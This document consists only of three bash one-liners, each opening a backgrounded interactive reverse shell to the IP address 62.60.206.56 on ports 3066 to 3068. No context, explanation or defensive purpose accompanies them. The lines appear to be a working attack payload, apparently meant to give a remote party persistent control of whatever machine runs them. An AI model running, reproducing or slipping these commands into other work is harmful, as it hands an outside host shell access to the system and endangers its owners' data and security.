bash -c "nohup bash -i >& /dev/tcp/62.60.206.56/3066 0>&1 &"
bash -c "nohup bash -i >& /dev/tcp/62.60.206.56/3067 0>&1 &"
bash -c "nohup bash -i >& /dev/tcp/62.60.206.56/3068 0>&1 &"